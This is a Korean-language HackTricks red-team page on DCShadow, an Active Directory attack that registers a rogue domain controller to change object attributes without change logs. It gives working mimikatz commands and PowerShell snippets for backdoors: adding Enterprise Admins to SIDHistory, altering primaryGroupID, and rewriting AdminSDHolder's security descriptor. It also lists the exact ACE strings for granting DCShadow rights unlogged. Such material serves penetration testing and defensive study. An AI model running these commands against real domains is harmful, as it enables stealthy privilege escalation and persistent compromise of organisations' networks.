DCShadow

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

DCShadow

이는 AD에 새로운 도메인 컨트롤러를 등록하고, 지정된 객체에 대해 SIDHistory, SPN 등의 속성을 수정하면서 수정 내역에 대한 로그를 남기지 않습니다. DA 권한이 필요하며 루트 도메인 내부에 있어야 합니다. 잘못된 데이터를 사용하면 상당히 불쾌한 로그가 표시될 수 있습니다.

공격을 수행하기 위해 2개의 mimikatz 인스턴스가 필요합니다. 그 중 하나는 SYSTEM 권한으로 RPC 서버를 시작합니다(수행하려는 변경 사항을 여기에 지정해야 함). 다른 인스턴스는 값을 수정하는 데 사용됩니다:

mimikatz1 (RPC 서버)
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
mimikatz2 (push) - DA 또는 유사한 권한 필요
lsadump::dcshadow /push

**elevate::token**이 mimikatz1 세션에서 작동하지 않는다는 것을 알아두세요. 이는 스레드의 권한을 상승시키지만, 프로세스의 권한을 상승시켜야 합니다. 또한 "LDAP" 객체를 선택할 수도 있습니다: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

다음 최소한의 권한을 가진 DA 또는 사용자로부터 변경 사항을 푸시할 수 있습니다:

  • 도메인 객체에서:

  • DS-Install-Replica (도메인에 대한 복제 추가/제거)

  • DS-Replication-Manage-Topology (복제 토폴로지 관리)

  • DS-Replication-Synchronize (복제 동기화)

  • 구성 컨테이너Sites 객체 (및 해당 하위 항목):

  • CreateChild 및 DeleteChild

  • DC로 등록된 컴퓨터의 객체:

  • WriteProperty (Write 아님)

  • 대상 객체:

  • WriteProperty (Write 아님)

Set-DCShadowPermissions를 사용하여 특권이 없는 사용자에게 이러한 권한을 부여할 수 있습니다 (이는 일부 로그를 남길 것임에 유의하세요). 이는 DA 권한을 가지는 것보다 훨씬 제한적입니다. 예를 들어: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose 이는 사용자 이름이 _student1_이고, mcorp-student1 기기에 로그인할 때 root1user 객체에 대한 DCShadow 권한을 가지도록 합니다.

DCShadow를 사용하여 백도어 생성하기

SIDHistory에 Enterprise Admins를 사용자로 설정
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
PrimaryGroupID 변경 (사용자를 도메인 관리자 그룹의 구성원으로 추가)
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
AdminSDHolder의 ntSecurityDescriptor 수정 (사용자에게 전체 제어 권한 부여)
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

Shadowception - DCShadow를 사용하여 DCShadow 권한 부여 (수정된 권한 로그 없음)

다음 ACE를 사용자의 SID와 함께 추가해야 합니다:

  • 도메인 개체에 대해:

  • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)

  • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)

  • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)

  • 공격자 컴퓨터 개체에 대해: (A;;WP;;;UserSID)

  • 대상 사용자 개체에 대해: (A;;WP;;;UserSID)

  • 구성 컨테이너의 Sites 개체에 대해: (A;CI;CCDC;;;UserSID)

객체의 현재 ACE를 가져오려면: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl

이 경우에는 하나만 수정하는 것이 아니라 여러 가지 변경을 해야 합니다. 따라서 mimikatz1 세션 (RPC 서버)에서 각 변경 사항과 함께 /stack 매개변수를 사용하세요. 이렇게 하면 루지 서버에서 모든 변경 사항을 수행하기 위해 **/push**를 한 번만 실행하면 됩니다.

ired.team에서 DCShadow에 대한 자세한 정보를 확인하세요.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated